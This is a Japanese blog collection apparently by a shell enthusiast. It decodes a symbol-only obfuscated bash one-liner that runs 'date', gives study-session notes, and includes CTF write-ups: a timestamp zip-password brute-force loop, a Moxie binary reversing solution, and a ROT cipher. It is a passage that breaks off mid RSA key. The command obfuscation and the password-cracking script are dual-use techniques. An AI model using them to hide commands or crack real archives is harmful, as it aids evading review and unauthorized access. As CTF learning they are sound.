ニュース

記号難読化シェル芸のやべーやつを解読してみた

kanata20日前に追加

2019年2月は、記号で作る難読化シェル芸がメガシンカした歴史的な月でした。
一度にたくさんの素敵な情報が集まって、私の思考回路はショート寸前です。

記号と英字2文字だけでbash
https://www.ryotosaito.com/blog/?p=178

記号だけでシェルは操れた
https://www.ryotosaito.com/blog/?p=194

34C3 CTF minbashmaxfun - writeup
https://hack.more.systems/writeup/2017/12/30/34c3ctf-minbashmaxfun/

そんな中やべーやつが開発されます。yamayaさんという方が作成した記号だけのdateです。

$ _(){ __=$@;};_ /*/$$/../?????-*;_ ${__##*-};$(${__%?????} '!-:' ^-~<<<"'\$${#__}(")
2019年  2月 28日 木曜日 12:37:56 JST

こんなに短いのに全て記号で、そしてちゃんとdateとして動作します。美しい…そして恐ろしい…
人の褌で相撲を取るようで大変恐縮なのですが、これが埋もれてしまうのは人類の損失のような気がしたので、解読してみました。

大きく、4パートに分かれます。

$ _(){ __=$@;};_ /*/$$/../?????-*;_ ${__##*-};$(${__%?????} '!-:' ^-~<<<"'\$${#__}(")
  ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
       ①              ②              ③                        ④

①関数_の定義

_(){ __=$@;}

関数_を定義しています。$@が特殊なシェル変数になります。動作は「変数__に関数の全引数の内容を設定する」という動作になっています。

②一意なディレクトリパスの取得

_ /*/$$/../?????-*

さっそく関数_が実行されています。引数に渡されている /*/$$/../?????-* は、ワイルドカード(glob)てすね。
/*/$$/../?????-* に一致するディレクトリは1つだけになりました。
/proc/[PID]/../sysrq-trigger というファイルが該当します。これはマジックSysRqキーと呼ばれるカーネル機能を制御するためのインタフェースになりますね。この機能を利用するわけではなく、triggerという文字列を取得するのが目的になっています。

※マジックSysRqキーは、カーネルのデバッグなどに使用されるやつです。昔、クラスタの動作確認するために、これを使って意図的にカーネルパニックさせた記憶があります。

③"trigger"の取得

_ ${__##*-}

ここから変数展開を使って-以降だけを切り取って、再び変数__に設定しています。
"trigger"で7文字になるのですが、この7という数字も最後に使われます。

④trでdateコマンドを生成する

ここは更に細かく分けました。

 $(  ${__%?????} '!-:' ^-~ <<<"'\$${#__}("   )
^^^^ ^^^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^^^^^^^ ^^^^
④-1    ④-2        ④-3       ④-4        ④-1

④-1

$( )

コマンド置換ですね。最終的にこのカッコの中がdateになれば、dateが実行されます。

④-2

${__%?????}

変数展開の機能を巧みに使って先頭ニ文字を切り出しています。triggerの頭ニ文字、trが取得されます。

④-3

'!-:' ^-~

trの範囲指定を巧みに使っています。!-: と ^-~ どいういう範囲でしょうか。
Asciiコードから確認してみます。

0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2A 0x2B 0x2C 0x2D 0x2E 0x2F
space ! " # $ % & ' ( ) * + , - . /
0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3A 0x3B 0x3C 0x3D 0x3E 0x3F
0 1 2 3 4 5 6 7 8 9 : ; < = > ?
0x40 0x41 0x42 0x43 0x44 0x45 0x46 0x47 0x48 0x49 0x4A 0x4B 0x4C 0x4D 0x4E 0x4F
@ A B C D E F G H I J K L M N O
0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5A 0x5B 0x5C 0x5D 0x5E 0x5F
P Q R S T U V W X Y Z [ \ ] ^ _
0x60 0x61 0x62 0x63 0x64 0x65 0x66 0x67 0x68 0x69 0x6A 0x6B 0x6C 0x6D 0x6E 0x6F
` a b c d e f g h i j k l m n o
0x70 0x71 0x72 0x73 0x74 0x75 0x76 0x77 0x78 0x79 0x7A 0x7B 0x7C 0x7D 0x7E
p q r s t u v w x y z { | } ~

ここから考えると !-: は、0x21から0x3Aの範囲、^-~ は、0x5Eから0x7Eの範囲になります。
trで変換される変換表を作ってみます。

! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :
^ _ ` a b c d e f g h i j k l m n o p q r s t u v w

dateの変換前の文字は '$7( ですね。

④-4

<<< "'\$${#__}("

<<<は、ヒアストリングという機能になります。通常、変換したい文字はパイプ経由でtrに渡しますが、これでも渡すことができます。

渡している文字は"'\$${#__}("です。この中の ${#__} は"trigger"の文字数を返す変数展開です。7ですね!

ゴールが見えてきました。

①〜④まとめ

まとめると、以下になります。

$ _(){ __=$@;}        # ①関数_の定義
$ _ /*/$$/../?????-*  # ②一意なディレクトリパスの取得
$ echo $__
/proc/16120/../sysrq-trigger
$ _ ${__##*-}         # ③"trigger"の取得
$ echo $__
trigger
$ echo ${__%?????}    # ④-2 "trigger"からtrを取り出す
tr
$ echo ${__%?????} '!-:' ^-~ # 結果としてtrが実行できる
tr !-: ^-~
$ echo ${#__}         # ④-3 "trigger"の文字数から7を生み出す
7
$ cat <<<"'\$${#__}(" # ④-4 ヒアストリングでtrの入力にする
'$7(
$ $(${__%?????} '!-:' ^-~<<<"'\$${#__}(")   # ④-1 $(tr '!-:' ^-~ <<< "'\$7(" ) を実行
2019年  2月 28日 木曜日 12:54:22 JST

おわかりいただけたでしょうか…
ここまでくるともはや芸術品...!


出典は、ココのコメントにあります。
記号だけで Hello world したやべーやつもありますねw


2019.3.7 yamayaさん新作が以下になります

$ : /*/$$/../?????-*;: ${_##*-};$(${_%?????} '!-:' ^-~<<<"'\$${#_}(")
2019年  3月  7日 木曜日 22:51:09 JST

より短い!なぜこれでdateが実行できるか解読してみよう!

技術同人誌組版の今と闇を語る(愚痴る)会 に参加しました

kanata約1ヶ月前に追加

技術同人誌組版の今と闇を語る(愚痴る)会 (2019/02/17 17:00〜)

概要 本を作るのに、どんなソフト/環境でやってますか? Re:view?Markdown?Word?InDesign? どれもこれも、いい面もあれば悪い面もあり、我慢ならないクソな部分もあろうかと思います。 コンピュータで組版をする世の中になってはや30年(適当ですが)経ちましたが、 未だに決定打がないとはどういうことか? というわけで、同人誌執筆者が集まって、組版に関する光と闇を共有する会です。 # 参加するといいことある人 * 執筆環境に不満がある人 * 他の環境を試してみたいが、行き先がわからない人 * 本(技術同人誌)を書いてみようと思っている人 ...

同人誌執筆者が集まって、組版に関する光と闇を共有する会でした。

LTしました

補足

LTした時の現場の議論はこんな感じ

  • Microsoft Print to PDF は実はアウトラインも飛ばしちゃうらしい(まるっと画像化しているらしい)
  • Microsoft Print to PDF のフォント埋め込みは、必要最低限じゃなくて、まるっとフォント全部取り込むのでPDFのサイズが増えるらしい
  • Type3フォントは印刷所的には、やっぱりあるとダメらしい

Microsoft Print to PDF は無料でフォント問題を解決できるので個人的にはやはり神

グラフィックレコーディングしてもらった

嬉しい

技術同人誌組版の今と闇を語る(愚痴る)会 #組版の光と闇 手がきメモまとめ|kondoyuko|note

技術同人誌組版の今と闇を語る(愚痴る)会 #組版の光と闇 手がきメモまとめ

参考

この環境がなかったら諦めてた

技術書典6に向けての Re:VIEW+CSS組版 環境構築 - 圧倒亭グランパのブログ

前回の技術書典5では、 Re:VIEW+ CSS 組版 にチャレンジしました。 at-grandpa.hatenablog.jp 今回もこの構成で行こうと思っていますが、docker周りが複雑で分かりづらかったのと、自分の リポジトリとして公開してもいいかなと思ったので取り組みました。また、 Re:VIEW がちょうど3.0.0になったので、良い機会だと思いました。     公開している リポジトリ は以下です。 主にできることは以下です。 その他のコマンドは、 リポジトリルートで make help と打ってください。   サンプルとして説明書PDFを生成できるようにしています。 git clone して make setup と make pdf を実行すれば生成されます。 PDFのリンクは、 リポジトリ の README.md とリリースページにありますので、お好きにダウンロードしてください。   cloneした リポジトリにある説明書PDFを元に、いろいろと試行錯誤していただくのが一番早いと思います。 Re:VIEWの初期生成 ディレクトリを用いたい場合は、 make init とすれば ./articles 以下を初期化できます。   よりよい Re:VIEW+ CSS 組版環境にしたいと思っています。もしなにかお気付きの場合はPRを作っていただくか、issueをお待ちしています。もしくは Twitter で @at_grandpa までご連絡ください。   前回はデザインに時間を取られてしまいましたが、今回はそこは反省点として、しっかりと執筆時間を確保したいと思います。 抽選受かってほしい!当日、みなさんお会いしましょう!

jus共催 第40回記念光明星節シェル芸勉強会 に参加しました

kanata約1ヶ月前に追加

jus共催 第40回記念光明星節シェル芸勉強会

jus共催 第40回シェル芸勉強会リンク集 | 上田ブログ

null

jus共催 第40回記念光明星節シェル芸勉強会

北朝鮮シェル芸地獄巡り(しなさい)出題: サムネイルの画像: から

午前:鳥海さんの資料

reveal.js

Unicodeの用語解説 * UCS * ISO/IEC 10646が定義する文字コード集合のこと * 4バイトの符号のUCS-4とそのサブセットのUCS-2がある * UTF * UCSで文字に対応付けた符号位置をコンピュータが利用できるバイト列に変換する方式のこと

知見

Unicode Consortium は 面白いUnicodeの仕様の宝庫

たとえば、これとか
https://unicode.org/Public/UNIDATA/NamesList.txt

他にもいっぱいある
https://unicode.org/Public/UNIDATA/

sed(ここから、ここまで、で抜き出す)

よく忘れて毎回ググる

$ cat a
1972 ミュンヘン        1  1  3  5
1976 モントリオール    1  1  0  2
1980 モスクワ          0  3  2  5
1984 ロサンゼルス      不参加
1988 ソウル            不参加
1992 バルセロナ        4  0  5  9
1996 アトランタ        2  1  2  5
2000 シドニー          0  1  3  4
2004 アテネ            0  4  1  5
2008 北京              2  1  3  6
2012 ロンドン          4  0  2  6
2016 リオデジャネイロ  2  3  2  7
1964 インスブルック     0  1  0  1
1968 グルノーブル       不参加
1972 札幌               0  0  0  0
1976 インスブルック     不参加
1980 レークプラシッド   不参加
1984 サラエボ           0  0  0  0
1988 カルガリー         0  0  0  0
1992 アルベールビル     0  0  1  1
1994 リレハンメル       不参加
1998 長野               0  0  0  0
2002 ソルトレイクシティ 不参加
2006 トリノ             0  0  0  0
2010 バンクーバー       0  0  0  0
2014 ソチ               不参加

$ cat a | sed -n '/1972 ミュンヘン/,/2016 リオデジャネイロ/p'
1972 ミュンヘン        1  1  3  5
1976 モントリオール    1  1  0  2
1980 モスクワ          0  3  2  5
1984 ロサンゼルス      不参加
1988 ソウル            不参加
1992 バルセロナ        4  0  5  9
1996 アトランタ        2  1  2  5
2000 シドニー          0  1  3  4
2004 アテネ            0  4  1  5
2008 北京              2  1  3  6
2012 ロンドン          4  0  2  6
2016 リオデジャネイロ  2  3  2  7

numsum

パイプ越しに複数の数字を流すと全部足してくれる便利なコマンドnumsum

俺的備忘録 〜なんかいろいろ〜 - 『numutils』でLinuxコンソール上での計算を簡単に行えるようにする

shuf -rn3

  • rオプション:入力の中からランダムに選択して無限に表示
  • n3オプション:3個だけ出力
$ echo -e "a\nb\nc"|shuf -rn3
c
a
a
$ echo -e "a\nb\nc"|shuf -rn3
b
b
a

このやり方は重複順列ですね。aaaとかbbbもあり得ます。

Unicode正規化

私も以前から困っていた件なので、Unicode正規化シェル芸を作っていました。

Unicode正規化 変換するワンライナー

記号と1,2,A,zでだけで作る難読化シェル芸

LTしました。難読化シェル芸の集大成!

以下に詳細をまとめています。

記号と1,2,A,zでだけで作る難読化シェル芸

ワタナベ難読化シェル芸

隊長さんのワタナベエンコードが夢のバージョンアップ!
マルチバイト文字対応でもはや死角なし

そしてowariコマンド、意外に業務で使えそうなユースケースがあって草草

ソースはこちらだそうです
https://gihub.com/xztaityozx/owari

その他

えびボクサー、かにゴールキーパー、いかレスラーなど(なんだこれwww)

jus共催 第39回年末シェル芸勉強会 と SECCON 2018 Akihabara に参加しました

kanata3ヶ月前に追加

最近イベントが重なった結果、ブログも一記事になっちゃう仕方ないね。

jus共催 第39回コートなしで自宅から締め出されたりしないでね年末シェル芸勉強会

jus共催 第39回シェル芸勉強会リンク集 | 上田ブログ

null

jus共催 第39回コートなしで自宅から締め出されたりしないでね年末シェル芸勉強会

2018年12月22日さくらインターネットさんのセミナールームにて。ハイライト:・鳥海さんの面白い話が終わらないので年を越して次回もやることになった・シンガポールから参戦@東京会場・何気ない「今回..

午後はSECCONに行ったので、断腸の思いで午前だけ参加したのだが、午後も知見に溢れており、やはり体が2つ欲しかった。

知見

pup

htmlをインプットにjQueryのようにDOMを操作できるコマンド

pup
https://github.com/EricChiang/pup

こんな感じで使う。テーブルからリンクを抜き出すとか。

$ curl -s https://news.ycombinator.com/ | pup 'table table tr:nth-last-of-type(n+2) td.title a attr{href}'
https://github.com/e-oj/Magic-Grid
from?site=github.com
https://torrentfreak.com/canada-prohibits-piracy-settlement-demands-in-isp-copyright-notices-181218/
from?site=torrentfreak.com
http://www.gurobi.com/company/news/announcement
from?site=gurobi.com
・
・
・
・

スクレイピングにも一役買いそう。すごい便利そう。

ワタナベ難読化シェル芸

発想が天才のそれ
腹痛いwwww

【邊邊邊邉】ワタナベ難読化シェル芸と辺エンコーディングの誕生【辺辺辺辺】

@xztaityozx_001 氏の難読化シェル芸新作からTwitterでも使える斬新なエンコーディング方式が誕生。第39回シェル芸勉強会の大阪LTにて。シェル芸勉強会本編はこちら()

クソコラを作ってしまった。。
SECCON中に突然アイデアが降ってきて作らずにはいられなかった。しばらくそれしか考えられなかった。
リビドーを抑えきれなかった。

ユニコード戦記 ─文字符号の国際標準化バトルは面白そう

鳥海さんに「読んだ?読んだ?」と聞かれて煽られてしまったので、早めに読まねば

ユニコード戦記 ─文字符号の国際標準化バトル

ちなみに近所の図書館は貸し出し中。げふん

SECCON 2018 Akihabara

今年の決勝大会は秋葉原

SECCON 2018 Akihabara 2018.12.22(sat)-23(sun)

情報セキュリティをテーマに多様な競技を開催する情報セキュリティコンテスト SECCON。2018年12月22-23の2日間秋葉原で行われるSECCON2018 Akihabaraの情報ページです。

私達のチームは予選落ちだったので、ずっとカンファレンスの方を聞いてた。
面白かったのは、フリーダムなLTのssmjpと、Tsurugi Linux、radare2のやつでした。

2019年はssmjp登壇を目標にしたいと思いまし

radare2

スーパーバイナリ解析ツール

$ r2 /bin/ls     # 起動
$ r2 -w /bin/ls  # 起動(ファイル書き込み許可)
$ r2 -d /bin/ls  # 起動(デバックモード)
$ r2 -N /bin/ls  # 起動(設定ファイル無しで起動)
$ r2 -           # Alias for r2 malloc://512
$ r2 --          # ファイルなしで起動
s  # seek
px # print hexdump
pd # print disassembly
wx # write hexpairs
wa # write assembly
aa # analyse all (aaaもある)
q  # quite
V  # Visual mode
VV # Access graph view (Move hjkl,Zoom +/-)
e as.describe=true # Add ASM description
e scr.color=3      # Enable truecolor
e scr.utf8=true    # Use UTF-8
e io.cache=true    # Enable temporary write
db # Set breakpoint
dc # continue execution
ds # step 

詳細はRadare2参照

その他

友人にめっちゃ日本酒とお料理美味しいお店教えてもらった
そのうちまた行きたい

jus共催 第38回҈҈҉҈҈҉シ҈҉ェ҈҉ル҈҉芸҈҉勉҈҉強҈҉会 と AVTOKYO に参加しました

kanata5ヶ月前に追加

jus共催 第38回҈҈҉҈҈҉シ҈҉ェ҈҉ル҈҉芸҈҉勉҈҉強҈҉会

私の所業でググられビリティを下げてしもたw

jus共催 第38回シェル芸勉強会リンク集 | 上田ブログ

null

jus共催 第38回҈҈҉҈҈҉シ҈҉ェ҈҉ル҈҉芸҈҉勉҈҉強҈҉会

シ҈҉ェ҈҉ル҈҉芸҈҉勉҈҉強҈҉会です。2018年11月3日さくらインターネットさんのセミナールームにて。問題と解答:

午後はAVTOKYOに行ったので、泣く泣く午前だけ参加したのだが、午後も知見に溢れており、やはり体が2つ欲しかった。

知見

SJISのポは"|"が含まれているポ系ダメ文字であり、難読化に応用できる。

素晴らしい

例もモヤモヤしたキリル文字は数値の表現だった。ちなみに1000万と1億も存在する。

 ҈  U+0488 10万
 ҉  U+0489 100万
 ꙰  U+A670 1000万
 ꙱  U+A670 1億

ユニコード戦記 ─文字符号の国際標準化バトルは面白そう

面白そう

ユニコード戦記 ─文字符号の国際標準化バトル

AVTOKYO2018

言わずもがな毎年CODEBLUEの後に行われるセキュリティ系イベント(飲み会)

AVTOKYO2018 - AVTOKYO JP

AVTOKYO は コンピュータセキュリティについて真摯に語り合うコミュニティベースの日本のカンファレンスです。合言葉は「no drink,no hack」です。

メインのプレゼントと同時にOSINT CTF や ハードウェアハッキングのワークショップ、ツール紹介などがあり、これも体が足りない。
酒飲みながらLT聞くの大好きなので、ずっとメインのプレゼン聞いてた。

エナジードリンク交換会があったのに、忘れた痛恨のミス。非売品のレア物を持っているのだが~

そういえば、去年に比べてちょっとだけ英語が解るようになってきた気がする。毎日ちょっとずつ勉強してるかいがあったか。

頂いた入場カードはUSBメモリが仕込まれている。中身はTSURUGI Linux

DEFT Linuxの開発者が作ったらものらしい。
TSURUGI Linuxのプレゼンは、途中でPCが強制WindowsUpdateを初めてスライドを映せなくなってた。これは怖い他人事ではない。
Forengicsの仕事はしていないけれど、OSINTツールも入っているっぽいので気になる。

20181104_avtokyo1.jpg
20181104_avtokyo2.jpg

メモリが入っているなんてわからないし、財布に入るし、スパイツールみたいでカッコイイです

SECCON 2018 Writeup

kanata5ヶ月前に追加

CTF Writeup SECCON 2018

結果&感想

score.png

某チームでSECCON2018に参加しました。
2問解きました。難しかった、そしてどの問題も重かった。

国内決勝上位12チームに入れるかどうかは、スコアボードに国名でないから何番かわかんないねw
期待しないで全裸で待ってる。

Forengics Unzip 101点

zipにはパスワードがかかっている。

Forengics_Unzip.png

makefile.sh

echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

という訳でUnix通算秒がパスワードになってるはずですね。何時かわからんけど。
2018/10/27 0:10 の辺りだろうなと思ったんだけど、とりあえず現在時刻から過去に遡って総当たりしたら終わった。


#!/bin/bash

C=`date +"%s"`

while :
do
  unzip -P $C flag.zip 
  if [ $? != 82 ]
  then
    echo  "-------------------------------------------> $C"
    echo $C >> timeline.txt
    if cat flag.txt |grep SECCON
    then
      exit
    fi
    rm flag.txt
  fi
  : $((C--))
done
Archive:  flag.zip
   skipping: flag.txt                incorrect password
Archive:  flag.zip
   skipping: flag.txt                incorrect password
・
・
・
Archive:  flag.zip
   skipping: flag.txt                incorrect password
Archive:  flag.zip
  inflating: flag.txt                
-------------------------------------------> 1540566641
SECCON{We1c0me_2_SECCONCTF2o18}

Reversing SpecialInstructions 262点

問題

Special Instructions

Execute this file and get the flag.

References:

    Assembly samples for many architectures

http://kozos.jp/books/asm/cross-gcc494-v1.0.zip

See the assembly samples.

$ unzip cross-gcc494-v1.0.zip $ cd cross-gcc494/sample $ ls *.d

See the sample programs running on GDB simulator.

$ cd cross-gcc494/exec $ ls *.d

http://kozos.jp で作問者がわかってしまうw

調査

実行させるべく、まずはアーキテクチャを調べる。

$ file runme
runme: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped

0xdf…?こんなアーキあるのかなと思いましたが、チームの方がmoxieであることを教えてくれました。ありがたいです。

10進数になおして、223が Moxie processor family でした http://www.sco.com/developers/gabi/latest/ch4.eheader.html

さてこれを実行する環境ですが、作問者のお力を借りるのが最短ルートでしょう!

クロスコンパイル環境の構築はコンパイルに結構な時間を要します

熱血!/大熱血! アセンブラ入門 開発環境のVMイメージからVMイメージをダウンロードします。

SECCON2015にも他種類のCPUアーキテクチャの問題が出ていました。

ダウンロード後、以下で逆アセできます。

$ /usr/local/cross2-gcc494/bin/moxie-elf-objdump -d -M intel ./runme

逆アセしたのは、ここに置いておきます。

Reversing_SpecialInstructions_asm.txt

で、これ実行できないんですよね、gdbで実行しようとしても"Illegal instruction."って表示され、終了します

$ /usr/local/cross2-gcc494/bin/moxie-elf-gdb ./runme

(gdb) target sim
Connected to the simulator.
(gdb) load
Loading section .text, size 0x23e lma 0x1400
Loading section .rodata, size 0xb0 lma 0x1640
Loading section .data, size 0x60 lma 0x1800
Start address 0x1400
Transfer rate: 6768 bits in <1 sec.
(gdb) run
Starting program: /home/user/SECCON2018/Reversing_SpecialInstructions/runme 

Program received signal SIGILL, Illegal instruction.
0x0000154a in set_random_seed ()
(gdb) 

原因は、ここ

0000154a <set_random_seed>:
    154a:       16 20           bad
    154c:       04 00           ret

0000154e <get_random_value>:
    154e:       17 20           bad
    1550:       04 00           ret

16と17の命令はmoxieに存在しません。
この命令をnopとかで潰して実行すると以下が出力されました。

This program uses special instructions.
SETRSEED: (Opcode:0x16)
        RegA -> SEED
GETRAND: (Opcode:0x17)
        xorshift32(SEED) -> SEED
        SEED -> RegA

16と17の命令は実装してね(はあと)って事ですね。

xorshift32

実装にあたって、xorshift32 から調べてみます。

wikipedia:https://ja.wikipedia.org/wiki/Xorshift

Xorshiftは疑似乱数列生成法の1つである。George Marsagliaが2003年に提案した。

Googleさんが採用してるやつかな?

Cの実装例が載っていました。最高です。

uint32_t xor(void) {
  static uint32_t y = 2463534242;
  y = y ^ (y << 13); y = y ^ (y >> 17);
  return y = y ^ (y << 15);
}

アセンブラを読む

わからない命令はココで調べながら読みました。

解りやすいアーキでよかった。。

ざっくりこんな感じになっていました。
私の理解を#以降に書いています。

000015a2 <main>:
    15a2:       06 18           push    $sp, $r6
    15a4:       91 18           dec     $sp, 0x18
    15a6:       01 20 92 d6     ldi.l   $r0, 0x92d68ca2         # set_random_seedに渡す引数(SEED) 0x92d68ca2
    15aa:       8c a2 
    15ac:       03 00 00 00     jsra    154a <set_random_seed>  # set_random_seed関数呼び出し
    15b0:       15 4a 

    中略

    160c:       01 20 00 00     ldi.l   $r0, 0x1800    # decode関数に渡す引数1
    1610:       18 00 
    1612:       01 30 00 00     ldi.l   $r1, 0x1820    # decode関数に渡す引数2
    1616:       18 20 
    1618:       03 00 00 00     jsra    1552 <decode>  # decode関数呼び出し
    161c:       15 52 
    161e:       02 32           mov     $r1, $r0
    1620:       01 20 00 00     ldi.l   $r0, 0x1
    1624:       00 01 
    1626:       19 80           jsr     $r6
    1628:       01 20 00 00     ldi.l   $r0, 0x1
    162c:       00 01 
    162e:       01 30 00 00     ldi.l   $r1, 0x167c
    1632:       16 7c 
    1634:       19 80           jsr     $r6
    1636:       2e 22           xor     $r0, $r0
    1638:       03 00 00 00     jsra    144a <exit>
    163c:       14 4a 
00001552 <decode>:
    1552:       06 18           push    $sp, $r6
    1554:       06 19           push    $sp, $r7
    1556:       06 1a           push    $sp, $r8
    1558:       06 1b           push    $sp, $r9
    155a:       06 1c           push    $sp, $r10
    155c:       06 1d           push    $sp, $r11
    155e:       91 18           dec     $sp, 0x18
    1560:       02 d2           mov     $r11, $r0           # $r11 = $r1(最初が0x1800)
    1562:       1c 42           ld.b    $r2, ($r0)
    1564:       2e 22           xor     $r0, $r0
    1566:       0e 42           cmp     $r2, $r0            
    1568:       c0 12           beq     158e <decode+0x3c> # if $r2 == $r0 then return
    156a:       02 a3           mov     $r8, $r1            # $r8  = $r1(最初が0x1820)
    156c:       02 9d           mov     $r7, $r11           # $r7  = $r11
    156e:       01 c0 00 00     ldi.l   $r10, 0x154e        # $r10 = 0x154e
    1572:       15 4e                                       
    1574:       1c 8a           ld.b    $r6, ($r8)          # $r6  = 0x1820の中身
    1576:       2e 22           xor     $r0, $r0            # $r0  = 0
    1578:       19 c0           jsr     $r10                # $r0  = 乱数取得32bit
    157a:       2e 82           xor     $r6, $r0            # $r6  = $r6 xor $r0
    157c:       1c 29           ld.b    $r0, ($r7)          # $r0  = 0x1800の中身
    157e:       2e 82           xor     $r6, $r0            # $r6  = $r6 xor $r0
    1580:       1e 98           st.b    ($r7), $r6          # 0x1800の中身 = $r6
    1582:       89 01           inc     $r7, 0x1            # $r7  = 0x1800++
    1584:       8a 01           inc     $r8, 0x1            # $r8  = 0x1820++
    1586:       1c 39           ld.b    $r1, ($r7)          # $r1  = 0x1800++の中身
    1588:       2e 22           xor     $r0, $r0            # $r0  = 0
    158a:       0e 32           cmp     $r1, $r0            
    158c:       c7 f3           bne     1574 <decode+0x22>  # if $r1 != NULL then goto 0x1574
    158e:       02 2d           mov     $r0, $r11           
    1590:       02 e0           mov     $r12, $fp           
    1592:       9e 18           dec     $r12, 0x18
    1594:       07 ed           pop     $r12, $r11
    1596:       07 ec           pop     $r12, $r10
    1598:       07 eb           pop     $r12, $r9
    159a:       07 ea           pop     $r12, $r8
    159c:       07 e9           pop     $r12, $r7
    159e:       07 e8           pop     $r12, $r6
    15a0:       04 00           ret

という事で、以下の動きになっていることがわかりました。

  1. r6 = 0x1820の中身(1byte)
  2. r0 = 乱数32bit(4byte)
  3. r6 = r6 ^ r0
  4. r0 = 0x1800の中身(1byte)
  5. r6 = r6 ^ r0
  6. 0x1800と0x1820は1増やして、1の処理に戻る

0x1800と0x1820あたりに、どんな値が入っているか調べておきます。

(gdb) x/100x 0x1800
0x1800 <flag>:  0x6d    0x72    0xc3    0xe2    0xcf    0x95    0x54    0x9d
0x1808 <flag+8>:        0xb6    0xac    0x03    0x84    0xc3    0xc2    0x35    0x93
0x1810 <flag+16>:       0xc3    0xd7    0x7c    0xe2    0xdd    0xd4    0xac    0x5e
0x1818 <flag+24>:       0x99    0xc9    0xa5    0x34    0xde    0x06    0x4e    0x00
0x1820 <randval>:       0x3d    0x05    0xdc    0x31    0xd1    0x8a    0xaf    0x29
0x1828 <randval+8>:     0x96    0xfa    0xcb    0x1b    0x01    0xec    0xe2    0xf7
0x1830 <randval+16>:    0x15    0x70    0x6c    0xf4    0x7e    0xa1    0x9e    0x0e
0x1838 <randval+24>:    0x01    0xf9    0xc2    0x4c    0xba    0xa0    0xa1    0x08
0x1840 <randval+32>:    0x70    0x24    0x85    0x8a    0x4d    0x2d    0x3c    0x02
0x1848 <randval+40>:    0xfc    0x6f    0x20    0xf0    0xc7    0xad    0x2f    0x97
0x1850 <randval+48>:    0x2b    0xcc    0xa3    0x34    0x23    0x53    0xc9    0xb7
0x1858 <randval+56>:    0x0c    0x10    0x6c    0x0e    0xfa    0xf9    0xa1    0x9a
0x1860: 0x00    0x00    0x00    0x00

xorshift32ですが、乱数といってもシード固定の計算値なので、予め計算しておきます。

$ cat xorshift32.c 
#include <stdio.h>
#include <stdint.h>

uint32_t xor(void) {
  static uint32_t y = 0x92d68ca2;
  int i;

  for(i=0;i<40;i++)
  {
    y = y ^ (y << 13); y = y ^ (y >> 17);
    y = y ^ (y << 15);
    printf("%x\n",y);
  }
  return y;
}

main(void){
  xor();
}

$ gcc  xorshift32.c ;./a.out 
35c36d03
c8fa2132
9f72275c
3ed1ca90
e32b4951
1c29ac51
e5e39880
7f0f53f9
89d0b941
f5e6563d
cbf769ad
4ba4dacc
49a432b2
c557954b
40a4eeb4
dd74800d
ce2e86b7
2a1de9cb
f6084259
70ff1d78
b93854d0
b5228d01
8b22df40
8b583725
e54151fb
e45c5644
1e13e10e
6a399017
f63e5c0a
bcd582d5
9ec62492
7e8849b8
ce8cf267
4dc3ba07
99204746
f619cfa2
3bc7e854
43540b32
d727aa2b
4fefdb1a

実装

ここまで判ったらシェルでシュッてできるんやで

solv.sh

#!/bin/bash

IFS='
'

LIST='
35c36d03 6d 3d
c8fa2132 72 05
9f72275c c3 dc
3ed1ca90 e2 31
e32b4951 cf d1
1c29ac51 95 8a
e5e39880 54 af
7f0f53f9 9d 29
89d0b941 b6 96
f5e6563d ac fa
cbf769ad 03 cb
4ba4dacc 84 1b
49a432b2 c3 01
c557954b c2 ec
40a4eeb4 35 e2
dd74800d 93 f7
ce2e86b7 c3 15
2a1de9cb d7 70
f6084259 7c 6c
70ff1d78 e2 f4
b93854d0 dd 7e
b5228d01 d4 a1
8b22df40 ac 9e
8b583725 5e 0e
e54151fb 99 01
e45c5644 c9 f9
1e13e10e a5 c2
6a399017 34 4c
f63e5c0a de ba
bcd582d5 06 a0
9ec62492 4e a1
7e8849b8 00 08
'

for LINE in $LIST
do
  SEED=$(echo $LINE|awk '{print $1}')
  x1800=$(echo $LINE|awk '{print $2}')
  x1820=$(echo $LINE|awk '{print $3}')
  printf %x $(((0x$x1800^0x$SEED)^0x$x1820))|cut -c7-|xxd -p -r
done
$ ./solv.sh 
SECCON{MakeSpecialInstructions}

おまけ

Forengics History の問題、タイトルがずっと Hisotry だったんだけど、いつの間にかひっそりと修正されていた件。
チームで盛り上がった(変に深読みしたw)

CyberRebeatCTF Writeup

kanata7ヶ月前に追加

CTF Writeup CyberRebeatCTF

結果&感想

CyberRebeatCTF

Love UI Kit.

でも結構解けて3232点で26位。チーム一人にしては頑張った方では

question.jpg

ranking.jpg

writeupは、すごい簡単なヤツは省略しました

Binary - SimpleBinary

pedaでステップ実行するだけ

Binary_SimpleBinary.png

Crypto - Rotation

問題

P4P6S{9RN4RUNPXR45}

ROT13の亜種と踏んで対応表を作る

P4P6SはCRCTFになることが判っているので、それをヒントに

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
NOPQRSTUVWXYZ__________ABCDEFGHIJKLM

P4P6S{9RN4RUNPXR45}
CRCTF{WEAREHACKERS}

Crypto FLAG.encrypted

暗号文と公開鍵を渡される

公開鍵を見てみる

$ openssl rsa -text -pubin < public-key.pem
Public-Key: (2048 bit)
Modulus:
    00:f7:aa:82:b3:38:65:4d:c5:5b:41:ce:6c:30:c2:
    94:3f:12:eb:9c:4d:f0:90:24:fe:9d:77:31:90:9f:
    a8:fc:c8:92:78:7a:59:ab:cf:cf:5d:18:12:03:2e:
    8f:9e:a7:5d:aa:d5:d5:6c:67:2b:ab:27:c8:bd:83:
    93:f9:2b:b3:f8:e2:f2:e1:88:cb:db:a8:96:1b:35:
    e5:54:f5:ae:8a:c6:39:23:f9:a2:83:d9:00:a2:c5:
    41:32:6d:81:12:15:6e:fe:d5:57:c1:dc:09:05:39:
    f6:d6:c5:d0:76:25:97:dc:13:d8:b6:e9:2a:ed:24:
    dc:a7:88:c0:64:cb:df:b8:c6:d4:da:7f:ba:77:70:
    9e:27:70:11:19:bb:d1:24:b9:fc:9e:ac:e7:95:d4:
